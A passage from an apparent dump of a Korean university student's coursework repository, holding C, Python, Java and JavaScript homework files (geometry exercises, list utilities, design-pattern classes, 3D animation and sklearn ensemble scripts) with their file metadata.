(int i = 0; i < 5; i++) {\n\t\tprintf(\"%d번째 좌표 (x, y) 입력: \", i + 1);\n\t\tscanf_s(\"%d %d\", &arr[i].x, &arr[i].y);\n\t}\n\n\tmin = sqrt(pow((arr[0].x - arr[1].x), 2) + pow((arr[0].y - arr[1].y), 2));\n\tfor (int i = 1; i < 5; i++) {\n\t\tfor (int j = i + 1; j < 5; j++) {\n\t\t\tdist = sqrt(pow((arr[i].x - arr[j].x), 2) + pow((arr[i].y - arr[j].y), 2));\n\n\t\t\tif (dist < min) {\n\t\t\t\tmin = dist;\n\t\t\t\tindex1 = i;\n\t\t\t\tindex2 = j;\n\t\t\t}\n\t\t}\n\t}\n\n\tprintf(\"\\n========== 가장 가까운 좌표 ==========\\n\");\n\tprintf(\"첫번째 좌표: (%d, %d)\\n\", arr[index1].x, arr[index1].y);\n\tprintf(\"두번째 좌표: (%d, %d)\\n\", arr[index2].x, arr[index2].y);\n\tprintf(\"두 좌표 사이 거리: %lf\\n\", min);\n\n\treturn 0;\n}" }, { "alpha_fraction": 0.6339144110679626, "alphanum_fraction": 0.6450079083442688, "avg_line_length": 25.29166603088379, "blob_id": "938bef4339561e0fa34884b6bf4669a56ec11f93", "content_id": "50a2ea5f834e179af404f100373e004a0927bd3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 633, "license_type": "no_license", "max_line_length": 104, "num_lines": 24, "path": "/오픈소스SW활용/7. Algorithms/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDevelop a function that finds the minimum or maximum value in a list, depending on the caller’s request.\n\"\"\"\n\nimport numpy as np\n\narr = [np.random.randint(100) for x in range(50)]\n\nmin_value = arr[0]\nidx = 0\nfor i in range(len(arr)):\n if arr[i] <= min_value:\n min_value = arr[i]\n idx = i\n\ndef min_index(arr):\n return (min(arr), arr.index(min(arr)))\n\ndef max_index(arr):\n return (max(arr), arr.index(max(arr)))\n\nprint('(min value, min index) using loop :', (min_value, idx))\nprint('(min value, min index) using function :', min_index(arr))\nprint('(max value, max index) using function :', max_index(arr))\n" }, { "alpha_fraction": 0.7455089688301086, "alphanum_fraction": 0.7604790329933167, "avg_line_length": 21.33333396911621, "blob_id": "1c64c500206602c17b2117dbd01adb2bb4104cd8", "content_id": "ed21706f35d5e17cc085c9a2f6e2804b21029b55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 334, "license_type": "no_license", "max_line_length": 64, "num_lines": 15, "path": "/디자인패턴/report8/AlloyWheeledVehicle.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter9;\n\nimport chapter7.Vehicle;\n\npublic class AlloyWheeledVehicle extends AbstractVehicleOption {\n\tprivate Vehicle vehicle;\n\t\n\tpublic AlloyWheeledVehicle(Vehicle vehicle) {\n\t\tsuper(vehicle.getEngine(), vehicle.getColour());\n\t\tthis.vehicle = vehicle;\n\t}\n\tpublic int getPrice() {\n\t\treturn 250 + this.vehicle.getPrice();\n\t}\n}" }, { "alpha_fraction": 0.6560975313186646, "alphanum_fraction": 0.707317054271698, "avg_line_length": 20.63157844543457, "blob_id": "e14d63a0cf3920ad2dddebacb3f923903ebd2cf2", "content_id": "28d71c8ba746a4811fe37d3b65638b99bd50442a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 410, "license_type": "no_license", "max_line_length": 60, "num_lines": 19, "path": "/디자인패턴/report6/Main.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter7;\n\n/*\n * 2020.04.24 Foobar Motor Company\n\n * by. sangmin\n */\n\npublic class Main {\n\tpublic static void main(String[] args) {\n\t\tAbstractCar myCar = new Sport(new StandardEngine(2000));\n\t\tmyCar.setSpeed(20);\n\t\tmyCar.setSpeed(40);\n\t\tSystem.out.println(\"Switching on sports mode gearbox...\");\n\t\tmyCar.setGearboxStrategy(new SportGearboxStrategy());\n\t\tmyCar.setSpeed(20);\n\t\tmyCar.setSpeed(40);\n\t}\n}" }, { "alpha_fraction": 0.417305588722229, "alphanum_fraction": 0.42716318368911743, "avg_line_length": 24.38888931274414, "blob_id": "c8f809f2a0c7995bbb6a78ffd3ba8f66bf8aae9b", "content_id": "b2d663495ffb5eccf473a3ee3ad6b362cfe54d77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1215, "license_type": "no_license", "max_line_length": 61, "num_lines": 36, "path": "/프로그래밍/report4.c", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "// programming homework by sangmin\n\n/*\n동적 메모리 할당을 사용하여 정수형 배열을 생성하고, 그 배열의 크기만큼 정수를 입력받는다.\n이때 같은 정수가 1번 이상 입력될 수 있으며, 중복되지 않은 정수들만을 출력하는 프로그램을 작성하시오.\n 3가지 다른 데이터에 대해 프로그램을 실행하시오.\n*/\n\n#include <stdio.h>\n\nint main() {\n int size;\n int* arr = NULL; // 동적 메모리 주소\n printf(\"배열의 크기 입력: \");\n scanf_s(\"%d\", &size);\n\n arr = malloc(sizeof(int) * size); // 동적 메모리 할당\n printf(\"%d개의 정수 입력: \", size);\n for (int i = 0; i < size; i++)\n scanf_s(\"%d\", &arr[i]);\n\n printf(\"중복되지 않은 정수들: \");\n for (int i = 0; i < size; i++) {\n int count = 0;\n for (int j = 0; j < size; j++) {\n if (arr[i] == arr[j]) // 같은 값 있으면\n count++; // count 1 증가\n }\n if (count == 1)\n printf(\"%d \", arr[i]);\n }\n\n free(arr); // 동적 메모리 해제\n\n return 0;\n}" }, { "alpha_fraction": 0.7528957724571228, "alphanum_fraction": 0.7567567825317383, "avg_line_length": 27.88888931274414, "blob_id": "228e889ccc37a0621bde71e29c93b0e8b0dd353f", "content_id": "f3b772e0c0448302df18a092ae99035d5525cce8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 259, "license_type": "no_license", "max_line_length": 80, "num_lines": 9, "path": "/디자인패턴/report6/Vehicle.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter7;\n\npublic interface Vehicle {\n\tpublic enum Colour {UNPAINTED, BLUE, BLACK, GREEN, RED, SILVER, WHITE, YELLOW};\n\tpublic Engine getEngine();\n\tpublic Vehicle.Colour getColour();\n\tpublic void paint(Vehicle.Colour colour);\n\tpublic int getPrice();\n}" }, { "alpha_fraction": 0.5117371082305908, "alphanum_fraction": 0.5367761850357056, "avg_line_length": 24.600000381469727, "blob_id": "0d0154842fee6d1fc5e55bfa221cfee66a44695b", "content_id": "d618eb387ac7eaa3d63ec3a6adfdecb02a59a150", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 639, "license_type": "no_license", "max_line_length": 60, "num_lines": 25, "path": "/오픈소스SW활용/3. Modules and Objects/circle.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import math\n\nclass circle:\n def __init__(self, r):\n self.r = r\n def perimeter(self):\n return round(2 * math.pi * self.r, 2)\n def area(self):\n return round(math.pi * self.r**2, 2)\n\nclass circular_sector:\n def __init__(self, r, seta):\n self.r = r\n self.seta = seta\n def length(self):\n return round(math.pi * self.r * self.seta/180, 2)\n def area(self):\n return round(math.pi * self.r**2 * self.seta/360, 2)\n\nclass circular_ring:\n def __init__(self, r, R):\n self.r = r\n self.R = R\n def area(self):\n return round(math.pi * (self.R**2 - self.r**2), 2)" }, { "alpha_fraction": 0.5836040377616882, "alphanum_fraction": 0.6329065561294556, "avg_line_length": 17.364912033081055, "blob_id": "72cb3591620199e97ffb85d222a3279d632ef343", "content_id": "212ca8ff288fc0ff3d0299c8ce06f65342a1d151", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5233, "license_type": "no_license", "max_line_length": 43, "num_lines": 285, "path": "/컴퓨터그래픽스/moving.js", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "var moveHead = function() {\n\trequestAnimationFrame(moveHead);\n\n\tif (headIdx == 0) {\n\t\thead.rotateY(-0.02);\n\n\t\tif (head.rotation.y < -0.5)\n\t\t\theadIdx = 1;\n\t}\n\n\telse {\n\t\thead.rotateY(+0.02);\n\n\t\tif (head.rotation.y > 0.5)\n\t\t\theadIdx = 0;\n\t}\n\n\tcontrols.update();\n\trenderer.render(scene, camera);\n}\n\nvar moveLeftFrontLeg = function() {\n\trequestAnimationFrame(moveLeftFrontLeg);\n\n\tif (leftFrontUpLegIdx == 0) {\n\t\tleftFrontUpLeg.rotateZ(-0.03);\n\t\tleftFrontDownLeg.rotateZ(-0.03);\n\t\tif (leftFrontDownLegIdx == 0) {\n\t\t\tleftFrontDownLeg.rotateZ(-0.015);\n\n\t\t\tif (leftFrontUpLeg.rotation.z < -0.3) {\n\t\t\t\tleftFrontDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tleftFrontDownLeg.rotateZ(+0.015);\n\n\t\t\tif (leftFrontUpLeg.rotation.z > 0.3) {\n\t\t\t\tleftFrontDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (leftFrontUpLeg.rotation.z < -0.5) {\n\t\t\tleftFrontUpLegIdx = 1;\n\t\t}\n\t}\n\n\telse {\n\t\tleftFrontUpLeg.rotateZ(+0.03);\n\t\tleftFrontDownLeg.rotateZ(+0.03);\n\t\tif (leftFrontDownLegIdx == 0) {\n\t\t\tleftFrontDownLeg.rotateZ(-0.015);\n\n\t\t\tif (leftFrontUpLeg.rotation.z < -0.3) {\n\t\t\t\tleftFrontDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tleftFrontDownLeg.rotateZ(+0.015);\n\n\t\t\tif (leftFrontUpLeg.rotation.z > 0.3) {\n\t\t\t\tleftFrontDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (leftFrontUpLeg.rotation.z > 0.5) {\n\t\t\tleftFrontUpLegIdx = 0;\n\t\t}\n\t}\n\n\tcontrols.update();\n\trenderer.render(scene, camera);\n}\n\nvar moveLeftBackLeg = function() {\n\trequestAnimationFrame(moveLeftBackLeg);\n\n\tif (leftBackUpLegIdx == 0) {\n\t\tleftBackUpLeg.rotateZ(-0.03);\n\t\tleftBackDownLeg.rotateZ(-0.03);\n\t\tif (leftBackDownLegIdx == 0) {\n\t\t\tleftBackDownLeg.rotateZ(-0.015);\n\n\t\t\tif (leftBackUpLeg.rotation.z < -0.3) {\n\t\t\t\tleftBackDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tleftBackDownLeg.rotateZ(+0.015);\n\n\t\t\tif (leftBackUpLeg.rotation.z > 0.3) {\n\t\t\t\tleftBackDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (leftBackUpLeg.rotation.z < -0.5) {\n\t\t\tleftBackUpLegIdx = 1;\n\t\t}\n\t}\n\n\telse {\n\t\tleftBackUpLeg.rotateZ(+0.03);\n\t\tleftBackDownLeg.rotateZ(+0.03);\n\t\tif (leftBackDownLegIdx == 0) {\n\t\t\tleftBackDownLeg.rotateZ(-0.015);\n\n\t\t\tif (leftBackUpLeg.rotation.z < -0.3) {\n\t\t\t\tleftBackDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tleftBackDownLeg.rotateZ(+0.015);\n\n\t\t\tif (leftBackUpLeg.rotation.z > 0.3) {\n\t\t\t\tleftBackDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (leftBackUpLeg.rotation.z > 0.5) {\n\t\t\tleftBackUpLegIdx = 0;\n\t\t}\n\t}\n\n\tcontrols.update();\n\trenderer.render(scene, camera);\n}\n\nvar moveRightFrontLeg = function() {\n\trequestAnimationFrame(moveRightFrontLeg);\n\n\tif (rightFrontUpLegIdx == 0) {\n\t\trightFrontUpLeg.rotateZ(-0.03);\n\t\trightFrontDownLeg.rotateZ(-0.03);\n\t\tif (rightFrontDownLegIdx == 0) {\n\t\t\trightFrontDownLeg.rotateZ(-0.015);\n\n\t\t\tif (rightFrontUpLeg.rotation.z < -0.3) {\n\t\t\t\trightFrontDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\trightFrontDownLeg.rotateZ(+0.015);\n\n\t\t\tif (rightFrontUpLeg.rotation.z > 0.3) {\n\t\t\t\trightFrontDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (rightFrontUpLeg.rotation.z < -0.5) {\n\t\t\trightFrontUpLegIdx = 1;\n\t\t}\n\t}\n\n\telse {\n\t\trightFrontUpLeg.rotateZ(+0.03);\n\t\trightFrontDownLeg.rotateZ(+0.03);\n\t\tif (rightFrontDownLegIdx == 0) {\n\t\t\trightFrontDownLeg.rotateZ(-0.015);\n\n\t\t\tif (rightFrontUpLeg.rotation.z < -0.3) {\n\t\t\t\trightFrontDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\trightFrontDownLeg.rotateZ(+0.015);\n\n\t\t\tif (rightFrontUpLeg.rotation.z > 0.3) {\n\t\t\t\trightFrontDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (rightFrontUpLeg.rotation.z > 0.5) {\n\t\t\trightFrontUpLegIdx = 0;\n\t\t}\n\t}\n\n\tcontrols.update();\n\trenderer.render(scene, camera);\n}\n\nvar moveRightBackLeg = function() {\n\trequestAnimationFrame(moveRightBackLeg);\n\n\tif (rightBackUpLegIdx == 0) {\n\t\trightBackUpLeg.rotateZ(-0.03);\n\t\trightBackDownLeg.rotateZ(-0.03);\n\t\tif (rightBackDownLegIdx == 0) {\n\t\t\trightBackDownLeg.rotateZ(-0.015);\n\n\t\t\tif (rightBackUpLeg.rotation.z < -0.3) {\n\t\t\t\trightBackDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\trightBackDownLeg.rotateZ(+0.015);\n\n\t\t\tif (rightBackUpLeg.rotation.z > 0.3) {\n\t\t\t\trightBackDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (rightBackUpLeg.rotation.z < -0.5) {\n\t\t\trightBackUpLegIdx = 1;\n\t\t}\n\t}\n\n\telse {\n\t\trightBackUpLeg.rotateZ(+0.03);\n\t\trightBackDownLeg.rotateZ(+0.03);\n\t\tif (rightBackDownLegIdx == 0) {\n\t\t\trightBackDownLeg.rotateZ(-0.015);\n\n\t\t\tif (rightBackUpLeg.rotation.z < -0.3) {\n\t\t\t\trightBackDownLegIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\trightBackDownLeg.rotateZ(+0.015);\n\n\t\t\tif (rightBackUpLeg.rotation.z > 0.3) {\n\t\t\t\trightBackDownLegIdx = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (rightBackUpLeg.rotation.z > 0.5) {\n\t\t\trightBackUpLegIdx = 0;\n\t\t}\n\t}\n\n\tcontrols.update();\n\trenderer.render(scene, camera);\n}\n\nvar moveTail = function() {\n\trequestAnimationFrame(moveTail);\n\t\n\tif (upTailIdx == 0) {\n\t\tupTail.rotateZ(-0.03);\n\t\tdownTail.rotateZ(-0.03);\n\t\tif (downTailIdx == 0) {\n\t\t\tdownTail.rotateY(-0.02);\n\n\t\t\tif (downTail.rotation.y < -0.25) {\n\t\t\t\tdownTailIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tdownTail.rotateY(+0.02);\n\n\t\t\tif (downTail.rotation.y > 0.25) {\n\t\t\t\tdownTailIdx = 0;\n\t\t\t}\n\t\t}\n\n\t\tif (upTail.rotation.z < -0.8) {\n\t\t\tupTailIdx = 1;\n\t\t}\n\t}\n\n\telse {\n\t\tupTail.rotateZ(+0.03);\n\t\tdownTail.rotateZ(+0.03);\n\t\tif (downTailIdx == 0) {\n\t\t\tdownTail.rotateY(-0.02);\n\n\t\t\tif (downTail.rotation.y < -0.25) {\n\t\t\t\tdownTailIdx = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tdownTail.rotateY(+0.02);\n\n\t\t\tif (downTail.rotation.y > 0.25) {\n\t\t\t\tdownTailIdx = 0;\n\t\t\t}\n\t\t}\n\n\t\tif (upTail.rotation.z > 0.8) {\n\t\t\tupTailIdx = 0;\n\t\t}\n\t}\n\n\tcontrols.update();\n\trenderer.render(scene, camera);\n}" }, { "alpha_fraction": 0.6671485304832458, "alphanum_fraction": 0.6902782917022705, "avg_line_length": 39.115943908691406, "blob_id": "a5b4f7f7895c39c9e8cefb2f9d9b4a95f1bc4371", "content_id": "cf7d85a1fa4201dbfe2b720912f3cfe04884be9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2767, "license_type": "no_license", "max_line_length": 242, "num_lines": 69, "path": "/인공지능/model/bagging.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport pylab as plt\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\n\n# load the problem\ndf_wine = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data', header=None)\ndf_wine.columns = ['Class label', 'Alcohol', 'Malic acid', 'Ash', 'Alcalinity of ash', 'Magnesium', 'Total phenols', 'Flavanoids', 'Nonflavanoid phenols', 'Proanthocyanins', 'Color intensity', 'Hue', 'OD280/OD315 of diluted wines', 'Proline']\n\n# make a binary problem\ndf_wine = df_wine[df_wine['Class label'] != 0]\nX = df_wine[['Alcohol', 'Hue']].values\ny = df_wine['Class label'].values\n\n# code the class labels\nle = LabelEncoder()\ny = le.fit_transform(y)\n\n# split the problem\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=1)\n\n# instantiate a base learner and an ensemble learner\ntree = DecisionTreeClassifier(criterion='entropy', max_depth=None, random_state=1)\nbag = BaggingClassifier(base_estimator=tree, n_estimators=500, max_samples=1.0, max_features=1.0, bootstrap=True, bootstrap_features=False, n_jobs=1, random_state=1)\n\n# do and evaluate the learning\ntree.fit(X_train, y_train)\ny_train_pred = tree.predict(X_train)\ny_test_pred = tree.predict(X_test)\n\ntree_train = accuracy_score(y_train, y_train_pred)\ntree_test = accuracy_score(y_test, y_test_pred)\nprint('Decision tree train/test accuracies %.3f/%.3f' % (tree_train, tree_test))\n\nbag.fit(X_train, y_train)\ny_train_pred = bag.predict(X_train)\ny_test_pred = bag.predict(X_test)\n\nbag_train = accuracy_score(y_train, y_train_pred)\nbag_test = accuracy_score(y_test, y_test_pred)\nprint('Bagging train/test accuracies %.3f/%.3f' % (bag_train, bag_test))\n\n# plot the results\nx_min = X_train[:, 0].min() - 1\nx_max = X_train[:, 0].max() + 1\ny_min = X_train[:, 1].min() - 1\ny_max = X_train[:, 1].max() + 1\n\nxx, yy = np.meshgrid(np.arange(x_min, x_max, 0.1), np.arange(y_min, y_max, 0.1))\nf, axarr = plt.subplots(nrows=1, ncols=2, sharex='col', sharey='row', figsize=(8, 3))\n\nfor idx, clf, tt in zip([0, 1], [tree, bag], ['Dtree', 'Bagging']):\n clf.fit(X_train, y_train)\n\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n\n axarr[idx].contourf(xx, yy, Z, alpha=0.3)\n axarr[idx].scatter(X_train[y_train==0, 0], X_train[y_train==0, 1], c='blue', marker='^', s=10)\n axarr[idx].scatter(X_train[y_train==1, 0], X_train[y_train==1, 1], c='red', marker='o', s=10)\n axarr[idx].set_title(tt)\naxarr[0].set_ylabel('Alcohol', fontsize=12)\nplt.text(9, -1.0, s='Hue', ha='center', va='center', fontsize=12)\nplt.show()" }, { "alpha_fraction": 0.5543131232261658, "alphanum_fraction": 0.5543131232261658, "avg_line_length": 27.454545974731445, "blob_id": "47844bed3a34c116ff0e5886e8fefd9be340f67e", "content_id": "fcb8cd5b8a8dd1b3d40222454c8ee89d2fd9141a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "no_license", "max_line_length": 98, "num_lines": 22, "path": "/오픈소스SW활용/7. Algorithms/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nA DNA sequence is a string made up of the letters A, T, G, and C.\nTo find the complement of a DNA sequence, As are replaced by Ts, Ts by As, Gs by Cs, and Cs by Gs.\nFor example, the complement of AATTGCCGT is TTAACGGCA.\n\"\"\"\n\ndef complement(str):\n temp = []\n for i in range(len(str)):\n if str[i] == 'T':\n temp.append('A')\n elif str[i] == 'A':\n temp.append('T')\n elif str[i] == 'G':\n temp.append('C')\n elif str[i] == 'C':\n temp.append('G')\n\n return \"\".join(temp)\n\ncode = input('input DNA sequence : ')\nprint('complement is', complement(code))\n" }, { "alpha_fraction": 0.5967903733253479, "alphanum_fraction": 0.6048144698143005, "avg_line_length": 25.236841201782227, "blob_id": "164f6aa829f1f5e3d5e6e1c638a2fdf10c10ddd3", "content_id": "4e7d1b420f49b8638a236464f1fb3f6f7c698e0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 999, "license_type": "no_license", "max_line_length": 83, "num_lines": 38, "path": "/오픈소스SW활용/Problem/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDevelop a function that finds the minimum or maximum value in a list,\ndepending on the caller’s request.\n\"\"\"\n\nvalue = list(map(int, input('input values : ').split()))\n\n\ndef loop(value):\n min_idx = 0\n min_value = value[0]\n\n for i in range(1, len(value)):\n if value[i] < min_value:\n min_value = value[i]\n min_idx = i\n\n return min_value, min_idx\n\n\ndef min_index(value):\n return min(value), value.index(min(value))\n\n\ndef max_index(value):\n return max(value), value.index(max(value))\n\n\ncheck = int(input(' - If you check the loop function, input a number 1\\n'\n ' - If you check the minimum function, input a number 2\\n'\n ' - If you check the maximum function, input a number 3\\n>> '))\n\nif check == 1:\n print(\"(minimum value, value's index) :\", loop(value))\nelif check == 2:\n print(\"(minimum value, value's index) :\", min_index(value))\nelse:\n print(\"(maximum value, value's index) :\", max_index(value))\n" }, { "alpha_fraction": 0.5659898519515991, "alphanum_fraction": 0.5888324975967407, "avg_line_length": 18.700000762939453, "blob_id": "99810e06b6e47791964474933ccc8f7ecca0a7d9", "content_id": "0502af1856e5455807326863fc1b519d0482b678", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 418, "license_type": "no_license", "max_line_length": 76, "num_lines": 20, "path": "/디자인패턴/report5/Main.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "package chapter6;\n\n/*\n * 2020.04.21 Bear and Fish Game\n\n * by. sangmin\n */\n\n\npublic class Main {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"========== start 'Bear eat Fish' game !! ==========\");\n\t\tSystem.out.print(\" ■ is bear, your mission is reach the F(fish)\");\n\t\tSystem.out.println();\n\t\t\n\t\t// Game 객체를 만들어 runGame() 메소드 호출\n\t\tGame g = new Game();\n\t\tg.runGame();\n\t}\n}\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.6485849022865295, "avg_line_length": 34.375, "blob_id": "ed3d64399997a37db0cde9da96852d76e14f6596", "content_id": "f9b7244a15aba5218261275adc53ba1012e840f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 851, "license_type": "no_license", "max_line_length": 89, "num_lines": 24, "path": "/오픈소스SW활용/4. Lists/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nThe vertices of polygon P have coordinates (x1, y1), (x2, y2), · · · , (xn, yn), numbered\neither in a clockwise or counter clockwise way. The area P of the polygon can be\ncomputed by just knowing the boundary coordinates:\n\nAssume that x and y are either lists or arrays. Implement the function to compute the\narea of a polygon and test your function on a triangular, a quadrilateral, and a\npentagon where you can calculate the area by alternative methods for computation.\n\"\"\"\n\nn = int(input('input the number of vertex : '))\narr = []\nfor i in range(n):\n x, y = map(int, input('input x, y : ').split())\n arr.append([x, y])\n\narea = 0\nfor i in range(n):\n if i == n-1:\n area += arr[i][0]*arr[0][1] - arr[i][1]*arr[0][0]\n else:\n area += arr[i][0]*arr[i+1][1] - arr[i][1]*arr[i+1][0]\n\nprint('area of polygon', abs(area)*0.5)" }, { "alpha_fraction": 0.5138888955116272, "alphanum_fraction": 0.5254629850387573, "avg_line_length": 16.31999969482422, "blob_id": "09c72fd6fad4140c01bf6510416a0c3383c510cf", "content_id": "ad54a070fa8a5d62ea8e316727df439ec107e363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 432, "license_type": "no_license", "max_line_length": 31, "num_lines": 25, "path": "/오픈소스SW활용/2. Data types and Strings/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nConvert between object types\n\"\"\"\n\na = 3\nb = float(a)\nc = 3.9\nd = int(c)\ne = round(c)\nf = int(round(c))\n\nprint('a : {}'.format(type(a)))\nprint('b : {}'.format(type(b)))\nprint('c : {}'.format(type(c)))\nprint('d : {}'.format(type(d)))\nprint('e : {}'.format(type(e)))\nprint('f : {}'.format(type(f)))\n\nd = str(c)\ne = '-4.1'\nf = float(e)\n\nprint('d : {}'.format(type(d)))\nprint('e : {}'.format(type(e)))\nprint('f : {}'.format(type(f)))" }, { "alpha_fraction": 0.6049821972846985, "alphanum_fraction": 0.635587215423584, "avg_line_length": 37, "blob_id": "205371a97c7c6f6b18f8e3f584f5a968e055e84f", "content_id": "4c8950dd67ee4ec22517d4132b59981ef320593c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1405, "license_type": "no_license", "max_line_length": 97, "num_lines": 37, "path": "/오픈소스SW활용/3. Modules and Objects/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nThere are various geometries.\nDesign modules to calculate area, perimeter, volume, or surface related to a chosen geometry.\n\"\"\"\n\nimport circle\nimport triangle\nimport rectangle\nimport dimensional\n\nr, R, seta = map(int, input('input r, R, seta : ').split())\na, b, c, d = map(int, input('input a, b, c, d : ').split())\ns, h = map(int, input('input s, h : ').split())\n\nc1, c2, c3 = circle.circle(r), circle.circular_sector(r, seta), circle.circular_ring(r, R)\nt1, t2 = triangle.triangle(a, b, c, h), triangle.pythagorean(a, b, c)\nr1, r2, r3, r4 = rectangle.square(s), rectangle.rectangle(a, b), \\\n rectangle.parallelogram(a, b, h), rectangle.trapezoid(a, b, c, d, h)\nd1, d2, d3, d4, d5, d6 = dimensional.sphere(r), dimensional.rectangular_box(a, b, c), \\\n dimensional.cube(s), dimensional.cylinder(r, h), \\\n dimensional.circular_cone(r, h, s), dimensional.frustum_cone(r, h, R)\n\nprint(c1.perimeter(), c1.area())\nprint(c2.length(), c2.area())\nprint(c3.area())\nprint(t1.perimeter(), t1.area())\nprint(t2.hypotenuse())\nprint(r1.perimeter(), r1.area())\nprint(r2.perimeter(), r2.area())\nprint(r3.perimeter(), r3.area())\nprint(r4.perimeter(), r4.area())\nprint(d1.surface(), d1.volume())\nprint(d2.area(), d2.volume())\nprint(d3.area(), d3.volume())\nprint(d4.area(), d4.volume())\nprint(d5.area(), d5.surface(), d5.volume())\nprint(d6.volume())" }, { "alpha_fraction": 0.6662967205047607, "alphanum_fraction": 0.6888642311096191, "avg_line_length": 38.18840408325195, "blob_id": "11e4d3f32472874babea0df542ea465647650eb0", "content_id": "5eebbab421b686462cd77cd6e3605c8ab3db8106", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2703, "license_type": "no_license", "max_line_length": 242, "num_lines": 69, "path": "/인공지능/model/bagging2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport pylab as plt\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\n\n# load the problem\ndf_wine = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data', header=None)\ndf_wine.columns = ['Class label', 'Alcohol', 'Malic acid', 'Ash', 'Alcalinity of ash', 'Magnesium', 'Total phenols', 'Flavanoids', 'Nonflavanoid phenols', 'Proanthocyanins', 'Color intensity', 'Hue', 'OD280/OD315 of diluted wines', 'Proline']\n\n# make a binary problem\ndf_wine = df_wine[df_wine['Class label'] != 0]\nX = df_wine[['Alcohol', 'Hue']].values\ny = df_wine['Class label'].values\n\n# code the class labels\nle = LabelEncoder()\ny = le.fit_transform(y)\n\n# split the problem\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=1)\n\n# instantiate a base learner and an ensemble learner\ntree = DecisionTreeClassifier(criterion='entropy', max_depth=None, random_state=1)\nada = AdaBoostClassifier(base_estimator=tree, n_estimators=600, learning_rate=0.1, random_state=0)\n\n# do and evaluate the learning\ntree.fit(X_train, y_train)\ny_train_pred = tree.predict(X_train)\ny_test_pred = tree.predict(X_test)\n\ntree_train = accuracy_score(y_train, y_train_pred)\ntree_test = accuracy_score(y_test, y_test_pred)\nprint('Decision tree train/test accuracies %.3f/%.3f' % (tree_train, tree_test))\n\nada.fit(X_train, 